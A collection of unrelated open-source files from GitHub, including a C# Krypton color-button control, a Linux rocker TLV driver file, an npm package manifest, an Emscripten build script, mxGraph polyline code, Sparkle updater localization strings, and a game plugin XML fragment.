private bool ShouldSerializeStateTracking()
{
return !_stateTracking.IsDefault;
}
/// <summary>
/// Gets access to the pressed color button appearance entries.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining pressed color button appearance.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTriple StatePressed
{
get { return _statePressed; }
}
private bool ShouldSerializeStatePressed()
{
return !_statePressed.IsDefault;
}
/// <summary>
/// Gets access to the normal color button appearance when default.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining normal color button appearance when default.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTripleRedirect OverrideDefault
{
get { return _stateDefault; }
}
private bool ShouldSerializeOverrideDefault()
{
return !_stateDefault.IsDefault;
}
/// <summary>
/// Gets access to the color button appearance when it has focus.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining color button appearance when it has focus.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTripleRedirect OverrideFocus
{
get { return _stateFocus; }
}
private bool ShouldSerializeOverrideFocus()
{
return !_stateFocus.IsDefault;
}
/// <summary>
/// Gets or sets the value returned to the parent form when the color button is clicked.
/// </summary>
[Category("Behavior")]
[Description("The dialog-box result produced in a modal form by clicking the color button.")]
[DefaultValue(typeof(DialogResult), "None")]
public DialogResult DialogResult
{
get { return _dialogResult; }
set { _dialogResult = value; }
}
/// <summary>
/// Gets and sets the associated KryptonCommand.
/// </summary>
[Category("Behavior")]
[Description("Command associated with the color button.")]
[DefaultValue(null)]
public virtual KryptonCommand KryptonCommand
{
get { return _command; }
set
{
if (_command != value)
{
if (_command != null)
_command.PropertyChanged -= new PropertyChangedEventHandler(OnCommandPropertyChanged);
else
{
_wasEnabled = Enabled;
_wasImage = Values.Image;
}
_command = value;
OnKryptonCommandChanged(EventArgs.Empty);
if (_command != null)
_command.PropertyChanged += new PropertyChangedEventHandler(OnCommandPropertyChanged);
else
{
Enabled = _wasEnabled;
Values.Image = _wasImage;
}
}
}
}
/// <summary>
/// Notifies a control that it is the default color button so that its appearance and behavior is adjusted accordingly.
/// </summary>
/// <param name="value">true if the control should behave as a default color button; otherwise false.</param>
public void NotifyDefault(bool value)
{
if (!ViewDrawButton.IsFixed && (_isDefault != value))
{
// Remember new default status
_isDefault = value;
// Decide if the default overrides should be applied
_overrideNormal.Apply = value;
// Change in deault state requires a layout and repaint
PerformNeedPaint(true);
}
}
/// <summary>
/// Generates a Click event for the control.
/// </summary>
public void PerformClick()
{
if (CanSelect)
OnClick(EventArgs.Empty);
}
/// <summary>
/// Generates a DropDown event for the control.
/// </summary>
public void PerformDropDown()
{
if (CanSelect)
ShowDropDown();
}
/// <summary>
/// Gets or sets a value indicating whether an ampersand is included in the text of the control.
/// </summary>
[Category("Appearance")]
[Description("When true the first character after an ampersand will be used as a mnemonic.")]
[DefaultValue(true)]
public bool UseMnemonic
{
get { return _useMnemonic; }
set
{
if (_useMnemonic != value)
{
_useMnemonic = value;
_drawButton.UseMnemonic = value;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Fix the control to a particular palette state.
/// </summary>
/// <param name="state">Palette state to fix.</param>
public virtual void SetFixedState(PaletteState state)
{
if (state == PaletteState.NormalDefaultOverride)
{
// Setup the overrides correctly to match state
_overrideFocus.Apply = true;
_overrideNormal.Apply = true;
// Must pass a proper drawing state to the view
state = PaletteState.Normal;
}
// Request fixed state from the view
_drawButton.FixedState = state;
}
/// <summary>
/// Determins the IME status of the object when selected.
/// </summary>
[Browsable(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
public new ImeMode ImeMode
{
get { return base.ImeMode; }
set { base.ImeMode = value; }
}
#endregion
#region IContentValues
/// <summary>
/// Gets the content short text.
/// </summary>
/// <returns>String value.</returns>
public string GetShortText()
{
if (KryptonCommand != null)
return KryptonCommand.Text;
else
return _buttonValues.GetShortText();
}
/// <summary>
/// Gets the content long text.
/// </summary>
/// <returns>String value.</returns>
public string GetLongText()
{
if (KryptonCommand != null)
return KryptonCommand.ExtraText;
else
return _buttonValues.GetLongText();
}
/// <summary>
/// Gets the content image.
/// </summary>
/// <param name="state">The state for which the image is needed.</param>
/// <returns>Image value.</returns>
public Image GetImage(PaletteState state)
{
return _buttonValues.GetImage(state);
}
/// <summary>
/// Gets the image color that should be transparent.
/// </summary>
/// <param name="state">The state for which the image is needed.</param>
/// <returns>Color value.</returns>
public Color GetImageTransparentColor(PaletteState state)
{
if (KryptonCommand != null)
return KryptonCommand.ImageTransparentColor;
else
return _buttonValues.GetImageTransparentColor(state);
}
#endregion
#region Protected Overrides
/// <summary>
/// Gets the default size of the control.
/// </summary>
protected override Size DefaultSize
{
get { return new Size(90, 25); }
}
/// <summary>
/// Gets the default Input Method Editor (IME) mode supported by this control.
/// </summary>
protected override ImeMode DefaultImeMode
{
get { return ImeMode.Disable; }
}
/// <summary>
/// Raises the EnabledChanged event.
/// </summary>
/// <param name="e">An EventArgs that contains the event data.</param>
protected override void OnEnabledChanged(EventArgs e)
{
// Must inform the color button view which itself tells the embedded elements
_drawButton.Enabled = Enabled;
// Change in enabled state requires a layout and repaint
PerformNeedPaint(true);
// Let base class fire standard event
base.OnEnabledChanged(e);
}
/// <summary>
/// Raises the GotFocus event.
/// </summary>
/// <param name="e">An EventArgs that contains the event data.</param>
protected override void OnGotFocus(EventArgs e)
{
if (!ViewDrawButton.IsFixed)
{
// Apply the focus overrides
_overrideFocus.Apply = true;
_overrideTracking.Apply = true;
_overridePressed.Apply = true;
// Change in focus requires a repaint
PerformNeedPaint(false);
}
// Let base class fire standard event
base.OnGotFocus(e);
}
/// <summary>
/// Raises the LostFocus event.
/// </summary>
/// <param name="e">An EventArgs that contains the event data.</param>
protected override void OnLostFocus(EventArgs e)
{
if (!ViewDrawButton.IsFixed)
{
// Apply the focus overrides
_overrideFocus.Apply = false;
_overrideTracking.Apply = false;
_overridePressed.Apply = false;
// Change in focus requires a repaint
PerformNeedPaint(false);
}
// Let base class fire standard event
base.OnLostFocus(e);
}
/// <summary>
/// Raises the Click event.
/// </summary>
/// <param name="e">An EventArgs that contains the event data.</param>
protected override void OnClick(EventArgs e)
{
// Find the form this color button is on
Form owner = FindForm();
// If we find a valid owner
if (owner != null)
{
// Update owner with our dialog result setting
owner.DialogResult = DialogResult;
}
// Let base class fire standard event
base.OnClick(e);
// If we have an attached command then execute it
if (KryptonCommand != null)
KryptonCommand.PerformExecute();
}
/// <summary>
/// Processes a mnemonic character.
/// </summary>
/// <param name="charCode">The mnemonic character entered.</param>
/// <returns>true if the mnemonic was processsed; otherwise, false.</returns>
protected override bool ProcessMnemonic(char charCode)
{
// Are we allowed to process mnemonics?
if (UseMnemonic && CanProcessMnemonic())
{
// Does the color button primary text contain the mnemonic?
if (Control.IsMnemonic(charCode, Values.Text))
{
if (!Splitter)
PerformDropDown();
else
PerformClick();
return true;
}
}
// No match found, let base class do standard processing
return base.ProcessMnemonic(charCode);
}
/// <summary>
/// Called when a context menu has just been closed.
/// </summary>
protected override void ContextMenuClosed()
{
_buttonController.RemoveFixed();
}
/// <summary>
/// Process Windows-based messages.
/// </summary>
/// <param name="m">A Windows-based message.</param>
protected override void WndProc(ref Message m)
{
// Prevent base class from showing a context menu when right clicking it
if (m.Msg != PI.WM_CONTEXTMENU)
base.WndProc(ref m);
}
#endregion
#region Protected Virtual
/// <summary>
/// Raises the DropDown event.
/// </summary>
/// <param name="e">An ContextPositionMenuArgs containing the event data.</param>
protected virtual void OnDropDown(ContextPositionMenuArgs e)
{
if (DropDown != null)
DropDown(this, e);
}
/// <summary>
/// Raises the SelectedColorChanged event.
/// </summary>
/// <param name="selectedColor">New selected color.</param>
protected virtual void OnSelectedColorChanged(Color selectedColor)
{
if (SelectedColorChanged != null)
SelectedColorChanged(this, new ColorEventArgs(selectedColor));
}
/// <summary>
/// Raises the TrackingColor event.
/// </summary>
/// <param name="e">An ColorEventArgs that contains the event data.</param>
protected virtual void OnTrackingColor(ColorEventArgs e)
{
if (TrackingColor != null)
TrackingColor(this, e);
}
/// <summary>
/// Raises the MoreColors event.
/// </summary>
/// <param name="e">An CancelEventArgs that contains the event data.</param>
protected virtual void OnMoreColors(CancelEventArgs e)
{
if (MoreColors != null)
MoreColors(this, e);
}
/// <summary>
/// Raises the KryptonCommandChanged event.
/// </summary>
/// <param name="e">An EventArgs containing the event data.</param>
protected virtual void OnKryptonCommandChanged(EventArgs e)
{
if (KryptonCommandChanged != null)
KryptonCommandChanged(this, e);
// Use the values from the new command
if (KryptonCommand != null)
{
Enabled = KryptonCommand.Enabled;
Values.Image = KryptonCommand.ImageSmall;
}
// Redraw to update the text/extratext/image properties
PerformNeedPaint(true);
}
/// <summary>
/// Handles a change in the property of an attached command.
/// </summary>
/// <param name="sender">Source of the event.</param>
/// <param name="e">A PropertyChangedEventArgs that contains the event data.</param>
protected virtual void OnCommandPropertyChanged(object sender, PropertyChangedEventArgs e)
{
switch (e.PropertyName)
{
case "Enabled":
Enabled = KryptonCommand.Enabled;
break;
case "ImageSmall":
Values.Image = KryptonCommand.ImageSmall;
PerformNeedPaint(true);
break;
case "Text":
case "ExtraText":
case "ImageTransparentColor":
PerformNeedPaint(true);
break;
}
}
/// <summary>
/// Update the state objects to reflect the new color button style.
/// </summary>
/// <param name="buttonStyle">New color button style.</param>
protected virtual void SetStyles(ButtonStyle buttonStyle)
{
_stateCommon.SetStyles(buttonStyle);
_stateDefault.SetStyles(buttonStyle);
_stateFocus.SetStyles(buttonStyle);
}
/// <summary>
/// Creates a values storage object appropriate for control.
/// </summary>
/// <returns>Set of color button values.</returns>
/// <param name="needPaint">Delegate for notifying paint requests.</param>
protected virtual ColorButtonValues CreateButtonValues(NeedPaintHandler needPaint)
{
return new ColorButtonValues(needPaint);
}
/// <summary>
/// Gets access to the view element for the color button.
/// </summary>
protected virtual ViewDrawButton ViewDrawButton
{
get { return _drawButton; }
}
#endregion
#region Implementation
private void OnButtonTextChanged(object sender, EventArgs e)
{
OnTextChanged(EventArgs.Empty);
}
private void OnButtonClick(object sender, MouseEventArgs e)
{
bool showingContextMenu = false;
// Do we need to show a drop down menu?
if (!Splitter || (Splitter && _drawButton.SplitRectangle.Contains(e.Location)))
showingContextMenu = ShowDropDown();
else
{
// Raise the standard click event
OnClick(EventArgs.Empty);
// Raise event to indicate it was a mouse activated click
OnMouseClick(e);
}
// If not showing a context menu then perform cleanup straight away
if (!showingContextMenu)
ContextMenuClosed();
}
private bool ShowDropDown()
{
bool showingContextMenu = false;
// Update the context menu state
UpdateContextMenu();
// Update the krypton menu with this controls palette state
if (_kryptonContextMenu != null)
{
if (PaletteMode != PaletteMode.Custom)
_kryptonContextMenu.PaletteMode = PaletteMode;
else
_kryptonContextMenu.Palette = Palette;
}
// Package up the context menu and positioning values we will use later
ContextPositionMenuArgs cpma = new ContextPositionMenuArgs(null,
_kryptonContextMenu,
GetPositionH(),
GetPositionV());
// Let use examine and later values
OnDropDown(cpma);
// If we still want to show a context menu
if (!cpma.Cancel)
{
if (cpma.KryptonContextMenu != null)
{
// Convert the client rect to screen coords
Rectangle screenRect = RectangleToScreen(ClientRectangle);
if (CommonHelper.ValidKryptonContextMenu(cpma.KryptonContextMenu))
{
// Modify the screen rect so that we have a pixel gap between color button and menu
switch (cpma.PositionV)
{
case KryptonContextMenuPositionV.Above:
screenRect.Y -= 1;
break;
case KryptonContextMenuPositionV.Below:
screenRect.Height += 1;
break;
}
switch (cpma.PositionH)
{
case KryptonContextMenuPositionH.Before:
screenRect.X -= 1;
break;
case KryptonContextMenuPositionH.After:
screenRect.Width += 1;
break;
}
// We are showing a drop down
showingContextMenu = true;
// Decide which separators are needed
DecideOnVisible(_separatorTheme, _colorsTheme);
DecideOnVisible(_separatorStandard, _colorsStandard);
DecideOnVisible(_separatorRecent, _colorsRecent);
DecideOnVisible(_separatorNoColor, _itemsNoColor);
DecideOnVisible(_separatorMoreColors, _itemsMoreColors);
// Monitor relevant events inside the context menu
HookContextMenuEvents(_kryptonContextMenu.Items, true);
// Show relative to the screen rectangle
cpma.KryptonContextMenu.Closed += new ToolStripDropDownClosedEventHandler(OnKryptonContextMenuClosed);
cpma.KryptonContextMenu.Show(this, screenRect, cpma.PositionH, cpma.PositionV);
}
}
}
return showingContextMenu;
}
private KryptonContextMenuPositionH GetPositionH()
{
switch (DropDownOrientation)
{
default:
case VisualOrientation.Bottom:
case VisualOrientation.Top:
return KryptonContextMenuPositionH.Left;
case VisualOrientation.Left:
return KryptonContextMenuPositionH.Before;
case VisualOrientation.Right:
return KryptonContextMenuPositionH.After;
}
}
private KryptonContextMenuPositionV GetPositionV()
{
switch (DropDownOrientation)
{
default:
case VisualOrientation.Bottom:
return KryptonContextMenuPositionV.Below;
case VisualOrientation.Top:
return KryptonContextMenuPositionV.Above;
case VisualOrientation.Left:
case VisualOrientation.Right:
return KryptonContextMenuPositionV.Top;
}
}
private void OnContextMenuClosed(object sender, EventArgs e)
{
ContextMenuClosed();
}
private void OnKryptonContextMenuClosed(object sender, EventArgs e)
{
KryptonContextMenu kcm = (KryptonContextMenu)sender;
kcm.Closed -= new ToolStripDropDownClosedEventHandler(OnKryptonContextMenuClosed);
ContextMenuClosed();
// Unhook from item events
HookContextMenuEvents(_kryptonContextMenu.Items, false);
}
void OnButtonSelect(object sender, MouseEventArgs e)
{
// Take the focus if allowed
if (CanFocus)
Focus();
}
private void HookContextMenuEvents(KryptonContextMenuCollection collection, bool hook)
{
// Search for items of interest
foreach (KryptonContextMenuItemBase item in collection)
{
// Hook into color events
if (item is KryptonContextMenuColorColumns)
{
KryptonContextMenuColorColumns columns = (KryptonContextMenuColorColumns)item;
columns.SelectedColor = _selectedColor;
if (hook)
{
columns.TrackingColor += new EventHandler<ColorEventArgs>(OnColumnsTrackingColor);
columns.SelectedColorChanged += new EventHandler<ColorEventArgs>(OnColumnsSelectedColorChanged);
}
else
{
columns.TrackingColor -= new EventHandler<ColorEventArgs>(OnColumnsTrackingColor);
columns.SelectedColorChanged -= new EventHandler<ColorEventArgs>(OnColumnsSelectedColorChanged);
}
}
}
}
private void UpdateRecentColors(Color color)
{
// Do we need to update the recent colors collection?
if (AutoRecentColors)
{
// We do not add to recent colors if it is inside another color columns
foreach (KryptonContextMenuItemBase item in _kryptonContextMenu.Items)
{
// Only interested in the non-recent colors color columns
if ((item is KryptonContextMenuColorColumns) && (item != _colorsRecent))
{
// Cast to correct type
KryptonContextMenuColorColumns colors = (KryptonContextMenuColorColumns)item;
// We do not change the theme or standard entries if they are not to be used
if (((item == _colorsTheme) && !VisibleThemes) ||
((item == _colorsStandard) && !VisibleStandard))
continue;
// If matching color found, do not add to recent colors
if (colors.ContainsColor(color))
return;
}
}
// If this color valid and so possible to become a recent color
if ((color != null) && !color.Equals(Color.Empty))
{
bool found = false;
foreach (Color recentColor in _recentColors)
if (recentColor.Equals(color))
{
found = true;
break;
}
// If the color is not already part of the recent colors
if (!found)
{
// Add to start of the list
_recentColors.Insert(0, color);
// Enforce the maximum number of recent colors
if (_recentColors.Count > MaxRecentColors)
_recentColors.RemoveRange(MaxRecentColors, _recentColors.Count - MaxRecentColors);
}
}
}
}
private void UpdateContextMenu()
{
// Update visible state based of properties
_separatorTheme.Visible = _headingTheme.Visible = _colorsTheme.Visible = _visibleThemes;
_separatorStandard.Visible = _headingStandard.Visible = _colorsStandard.Visible = _visibleStandard;
_separatorRecent.Visible = _headingRecent.Visible = _colorsRecent.Visible = (_visibleRecent && (_recentColors.Count > 0));
_itemsNoColor.Visible = _visibleNoColor;
_itemsMoreColors.Visible = _visibleMoreColors;
// Define the display strings
_headingTheme.Text = Strings.ThemeColors;
_headingStandard.Text = Strings.StandardColors;
_headingRecent.Text = Strings.RecentColors;
_itemNoColor.Text = Strings.NoColor;
_itemMoreColors.Text = Strings.MoreColors;
// Define the colors used in the first two color schemes
_colorsTheme.ColorScheme = SchemeThemes;
_colorsStandard.ColorScheme = SchemeStandard;
// Define the recent colors
if (_recentColors.Count == 0)
_colorsRecent.SetCustomColors(null);
else
{
// Create an array of color arrays
Color[][] colors = new Color[_recentColors.Count][];
// Each column is just a single color
for (int i = 0; i < _recentColors.Count; i++)
colors[i] = new Color[] { _recentColors[i] };
_colorsRecent.SetCustomColors(colors);
}
// Should the no color entry be checked?
_itemNoColor.Checked = _selectedColor.Equals(Color.Empty);
}
private void DecideOnVisible(KryptonContextMenuItemBase visible, KryptonContextMenuItemBase target)
{
bool previous = false;
// Only search if the target itself is visible
if (target.Visible)
{
// Check all items before the target
foreach (KryptonContextMenuItemBase item in _kryptonContextMenu.Items)
{
// Finish when we reach the target
if (item == target)
break;
// We do not consider existing separators
if (!((item is KryptonContextMenuSeparator) ||
(item is KryptonContextMenuHeading)))
{
// If the previous item is visible, then make the parameter visible
if (item.Visible)
{
previous = true;
break;
}
}
}
}
visible.Visible = previous;
}
private void OnColumnsTrackingColor(object sender, ColorEventArgs e)
{
OnTrackingColor(new ColorEventArgs(e.Color));
}
private void OnColumnsSelectedColorChanged(object sender, ColorEventArgs e)
{
SelectedColor = e.Color;
}
private void OnClickNoColor(object sender, EventArgs e)
{
SelectedColor = Color.Empty;
}
private void OnClickMoreColors(object sender, EventArgs e)
{
// Give user a chance to cancel showing the standard more colors dialog
CancelEventArgs cea = new CancelEventArgs();
OnMoreColors(cea);
// If not instructed to cancel then...
if (!cea.Cancel)
{
// Use a standard color dialog for the selection of custom colors
ColorDialog cd = new ColorDialog();
cd.Color = SelectedColor;
cd.FullOpen = true;
// Only if user selected a value do we want to use it
if (cd.ShowDialog() == DialogResult.OK)
SelectedColor = cd.Color;
}
}
#endregion
}
}
|
{
"pile_set_name": "Github"
}
|
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* drivers/net/ethernet/rocker/rocker_tlv.c - Rocker switch device driver
* Copyright (c) 2014-2016 Jiri Pirko <jiri@mellanox.com>
* Copyright (c) 2014 Scott Feldman <sfeldma@gmail.com>
*/
#include <linux/types.h>
#include <linux/string.h>
#include <linux/errno.h>
#include "rocker_hw.h"
#include "rocker_tlv.h"
void rocker_tlv_parse(const struct rocker_tlv **tb, int maxtype,
const char *buf, int buf_len)
{
const struct rocker_tlv *tlv;
const struct rocker_tlv *head = (const struct rocker_tlv *) buf;
int rem;
memset(tb, 0, sizeof(struct rocker_tlv *) * (maxtype + 1));
rocker_tlv_for_each(tlv, head, buf_len, rem) {
u32 type = rocker_tlv_type(tlv);
if (type > 0 && type <= maxtype)
tb[type] = tlv;
}
}
int rocker_tlv_put(struct rocker_desc_info *desc_info,
int attrtype, int attrlen, const void *data)
{
int tail_room = desc_info->data_size - desc_info->tlv_size;
int total_size = rocker_tlv_total_size(attrlen);
struct rocker_tlv *tlv;
if (unlikely(tail_room < total_size))
return -EMSGSIZE;
tlv = rocker_tlv_start(desc_info);
desc_info->tlv_size += total_size;
tlv->type = attrtype;
tlv->len = rocker_tlv_attr_size(attrlen);
memcpy(rocker_tlv_data(tlv), data, attrlen);
memset((char *) tlv + tlv->len, 0, rocker_tlv_padlen(attrlen));
return 0;
}
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: e3605f29338ddde45ac947fd2bfce9c5
timeCreated: 1508933564
licenseType: Free
NativeFormatImporter:
externalObjects: {}
mainObjectFileID: 2100000
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
{
"name": "immutable",
"version": "3.7.5",
"description": "Immutable Data Collections",
"homepage": "https://github.com/facebook/immutable-js",
"author": {
"name": "Lee Byron",
"url": "https://github.com/leebyron"
},
"repository": {
"type": "git",
"url": "git://github.com/facebook/immutable-js.git"
},
"bugs": {
"url": "https://github.com/facebook/immutable-js/issues"
},
"main": "dist/immutable.js",
"typescript": {
"definition": "dist/immutable.d.ts"
},
"scripts": {
"test": "./resources/node_test.sh",
"perf": "node ./resources/bench.js"
},
"jest": {
"scriptPreprocessor": "resources/jestPreprocessor.js",
"testFileExtensions": [
"js",
"ts"
],
"persistModuleRegistryBetweenSpecs": true
},
"devDependencies": {
"acorn": "^0.11.0",
"benchmark": "^1.0.0",
"bluebird": "^2.7.1",
"colors": "^1.0.3",
"es6-transpiler": "^0.7.18",
"esperanto": "^0.6.0",
"estraverse": "^1.9.1",
"grunt": "^0.4.5",
"grunt-contrib-clean": "^0.5.0",
"grunt-contrib-copy": "^0.5.0",
"grunt-contrib-jshint": "^0.10.0",
"grunt-jest": "^0.1.0",
"grunt-release": "^0.7.0",
"jasmine-check": "^0.1.2",
"magic-string": "^0.2.6",
"microtime": "^1.2.0",
"react-tools": "^0.11.1",
"typescript": "~1.4.1",
"uglify-js": "^2.4.15"
},
"engines": {
"node": ">=0.8.0"
},
"files": [
"dist",
"contrib",
"README.md",
"LICENSE",
"PATENTS"
],
"keywords": [
"immutable",
"persistent",
"lazy",
"data",
"datastructure",
"functional",
"collection",
"stateless",
"sequence",
"iteration"
],
"license": "BSD-3-Clause",
"gitHead": "e768a54393ca83ad0374ebf2a329a5a4c6bc4501",
"_id": "immutable@3.7.5",
"_shasum": "557d03e5c2adb979f4cdee49454434c09c3610e4",
"_from": "immutable@>=3.7.4 <4.0.0",
"_npmVersion": "2.10.1",
"_nodeVersion": "0.12.4",
"_npmUser": {
"name": "leebyron",
"email": "lee@leebyron.com"
},
"dist": {
"shasum": "557d03e5c2adb979f4cdee49454434c09c3610e4",
"tarball": "http://registry.npmjs.org/immutable/-/immutable-3.7.5.tgz"
},
"maintainers": [
{
"name": "leebyron",
"email": "lee@leebyron.com"
}
],
"directories": {},
"_resolved": "https://registry.npmjs.org/immutable/-/immutable-3.7.5.tgz",
"readme": "ERROR: No README data found!"
}
|
{
"pile_set_name": "Github"
}
|
#!/bin/bash
dir=`pwd`
# set up the build directory
mkdir -p build
cd build
mkdir -p js
cd js
mkdir -p root
mkdir -p libnestegg
cd libnestegg
# finally, run configuration script
EMCONFIGURE_JS=2 NM=/usr/bin/nm emconfigure \
../../../libnestegg/configure \
--prefix="$dir/build/js/root" \
--disable-shared \
|| exit 1
# compile libnestegg
emmake make -j4 || exit 1
emmake make install || exit 1
cd ..
cd ..
cd ..
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2006-2015, JGraph Ltd
* Copyright (c) 2006-2015, Gaudenz Alder
*/
/**
* Class: mxPolyline
*
* Extends <mxShape> to implement a polyline (a line with multiple points).
* This shape is registered under <mxConstants.SHAPE_POLYLINE> in
* <mxCellRenderer>.
*
* Constructor: mxPolyline
*
* Constructs a new polyline shape.
*
* Parameters:
*
* points - Array of <mxPoints> that define the points. This is stored in
* <mxShape.points>.
* stroke - String that defines the stroke color. Default is 'black'. This is
* stored in <stroke>.
* strokewidth - Optional integer that defines the stroke width. Default is
* 1. This is stored in <strokewidth>.
*/
function mxPolyline(points, stroke, strokewidth)
{
mxShape.call(this);
this.points = points;
this.stroke = stroke;
this.strokewidth = (strokewidth != null) ? strokewidth : 1;
};
/**
* Extends mxShape.
*/
mxUtils.extend(mxPolyline, mxShape);
/**
* Function: getRotation
*
* Returns 0.
*/
mxPolyline.prototype.getRotation = function()
{
return 0;
};
/**
* Function: getShapeRotation
*
* Returns 0.
*/
mxPolyline.prototype.getShapeRotation = function()
{
return 0;
};
/**
* Function: isPaintBoundsInverted
*
* Returns false.
*/
mxPolyline.prototype.isPaintBoundsInverted = function()
{
return false;
};
/**
* Function: paintEdgeShape
*
* Paints the line shape.
*/
mxPolyline.prototype.paintEdgeShape = function(c, pts)
{
if (this.style == null || this.style[mxConstants.STYLE_CURVED] != 1)
{
this.paintLine(c, pts, this.isRounded);
}
else
{
this.paintCurvedLine(c, pts);
}
};
/**
* Function: paintLine
*
* Paints the line shape.
*/
mxPolyline.prototype.paintLine = function(c, pts, rounded)
{
var arcSize = mxUtils.getValue(this.style, mxConstants.STYLE_ARCSIZE, mxConstants.LINE_ARCSIZE) / 2;
c.begin();
this.addPoints(c, pts, rounded, arcSize, false);
c.stroke();
};
/**
* Function: paintLine
*
* Paints the line shape.
*/
mxPolyline.prototype.paintCurvedLine = function(c, pts)
{
c.begin();
var pt = pts[0];
var n = pts.length;
c.moveTo(pt.x, pt.y);
for (var i = 1; i < n - 2; i++)
{
var p0 = pts[i];
var p1 = pts[i + 1];
var ix = (p0.x + p1.x) / 2;
var iy = (p0.y + p1.y) / 2;
c.quadTo(p0.x, p0.y, ix, iy);
}
var p0 = pts[n - 2];
var p1 = pts[n - 1];
c.quadTo(p0.x, p0.y, p1.x, p1.y);
c.stroke();
};
|
{
"pile_set_name": "Github"
}
|
"%1$@ %2$@ has been downloaded and is ready to use! This is an important update; would you like to install it and relaunch %1$@ now?" = "%1$@ %2$@ がダウンロードされました! これは重要なアップデートです。今すぐ %1$@ をインストールして再起動しますか?";
"%1$@ %2$@ has been downloaded and is ready to use! Would you like to install it and relaunch %1$@ now?" = "%1$@ %2$@ がダウンロードされました! 今すぐ %1$@ をインストールして再起動しますか?";
"%1$@ can't be updated when it's running from a read-only volume like a disk image or an optical drive. Move %1$@ to your Applications folder, relaunch it from there, and try again." = "%1$@ は、ディスクイメージや光学式ドライブなどの読み出し専用ボリュームから起動している場合アップデートできません。%1$@ をアプリケーションフォルダに移動し、そこから再起動したあとやり直してください。";
"%@ %@ is currently the newest version available." = "%1$@ %2$@ は現在入手できる最新バージョンです。";
/* Description text for SUUpdateAlert when the update is downloadable. */
"%@ %@ is now available--you have %@. Would you like to download it now?" = "%1$@ %2$@ が入手できます(使用中のバージョンは %3$@ です)。今すぐダウンロードしますか?";
/* Description text for SUUpdateAlert when the update informational with no download. */
"%@ %@ is now available--you have %@. Would you like to learn more about this update on the web?" = "%1$@ %2$@ が入手できます(使用中のバージョンは %3$@ です)。このアップデートの詳しい情報を Web で確認しますか?";
"%@ downloaded" = "%@ ダウンロード済み";
"%@ of %@" = "%1$@ / %2$@";
"A new version of %@ is available!" = "新しいバージョンの %@ が入手できます!";
"A new version of %@ is ready to install!" = "新しいバージョンの %@ が今すぐインストールできます!";
"An error occurred in retrieving update information. Please try again later." = "アップデート情報の取得中にエラーが発生しました。あとでやり直してください。";
"An error occurred while downloading the update. Please try again later." = "アップデートをダウンロード中にエラーが発生しました。あとでやり直してください。";
"An error occurred while extracting the archive. Please try again later." = "アーカイブの展開中にエラーが発生しました。あとでやり直してください。";
"An error occurred while installing the update. Please try again later." = "アップデートをインストール中にエラーが発生しました。あとでやり直してください。";
"An error occurred while parsing the update feed." = "アップデートフィードを解析中にエラーが発生しました。";
"An error occurred while relaunching %1$@, but the new version will be available next time you run %1$@." = "%1$@ を再起動中にエラーが発生しましたが、次回 %1$@ の実行時に新しいバージョンが利用できます。";
"An important update to %@ is ready to install" = "%@ の重要なアップデートがインストールできます。";
/* the unit for bytes */
"B" = "バイト";
"Cancel" = "キャンセル";
"Cancel Update" = "アップデートを中止";
"Checking for updates..." = "アップデートを確認しています…";
/* Take care not to overflow the status window. */
"Downloading update..." = "アップデートをダウンロードしています…";
/* Take care not to overflow the status window. */
"Extracting update..." = "アップデートを展開しています…";
/* the unit for gigabytes */
"GB" = "GB";
"Install and Relaunch" = "インストールして再起動";
/* Take care not to overflow the status window. */
"Installing update..." = "アップデートをインストールしています…";
/* the unit for kilobytes */
"KB" = "KB";
/* Alternative name for "Install" button if we have a paid update or other update
without a download but with a URL. */
"Learn More..." = "詳しい情報…";
/* the unit for megabytes */
"MB" = "MB";
/* OK button. */
"OK" = "OK";
/* Status message on progress window once download has finished. */
"Ready to Install" = "インストールできます";
/* Message that is optionally shown at startup to allow users to turn on/off update checks. */
"Should %1$@ automatically check for updates? You can always check for updates manually from the %1$@ menu." = " %1$@ のアップデートを自動で確認しますか? アップデートは %1$@ メニューから手動でいつでも確認することができます。";
"The update is improperly signed." = "このアップデートは無効な署名が含まれています。";
"Update Error!" = "アップデートエラー!";
"Updating %@" = "%@ をアップデート中";
/* 'Error' message when the user checks for updates but is already current or the feed doesn't contain any updates. (not necessarily shown in UI) */
"You already have the newest version of %@." = "すでに最新バージョンの %@ を使用しています。";
/* Status message shown when the user checks for updates but is already current or the feed doesn't contain any updates. */
"You're up-to-date!" = "最新版を使用しています!";
|
{
"pile_set_name": "Github"
}
|
-- ioerr2.test
--
-- db eval {SELECT * FROM t1 WHERE rowid IN (1, 5, 10, 15, 20)}
SELECT * FROM t1 WHERE rowid IN (1, 5, 10, 15, 20)
|
{
"pile_set_name": "Github"
}
|
-- image_origo_offset
-- @short: Shift the current object rotation offset
-- @inargs: vid:dst, number:xofs, number:yofs
-- @inargs: vid:dst, number:xofs, number:yofs, number:zofs
-- @longdescr: By default, the rotation origo for each object is set to its
-- local center (0.5*w, 0.5*h).
-- @note: This is relative to the local object itself. For complex object
-- hierarchies, the bounding volume would have to be calculated and each
-- object shifted.
-- @group: image
-- @cfunction: origoofs
function main()
#ifdef MAIN
a = fill_surface(32, 32, 255, 0, 0);
b = fill_surface(32, 32, 0, 255, 0);
show_image({a, b});
move_image(a, 50, 100);
move_image(b, 100, 100);
rotate_image(a, 45);
rotate_image(b, 45);
image_origo_offset(b, -10, -10);
#endif
end
|
{
"pile_set_name": "Github"
}
|
file4 contents
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<plugin game="Reach" baseSize="0x10C">
<!-- Automatically generated plugin -->
<revisions>
<revision author="DarkShallFall" version="1">Mapped plugin structure a new.</revision>
</revisions>
<int16 name="Spray Style" offset="0x0" visible="true" />
<int16 name="Unknown" offset="0x2" visible="true" />
<undefined name="Unknown" offset="0x4" visible="true" />
<undefined name="Unknown" offset="0x8" visible="true" />
<int16 name="Unknown" offset="0xC" visible="true" />
<int16 name="Unknown" offset="0xE" visible="true" />
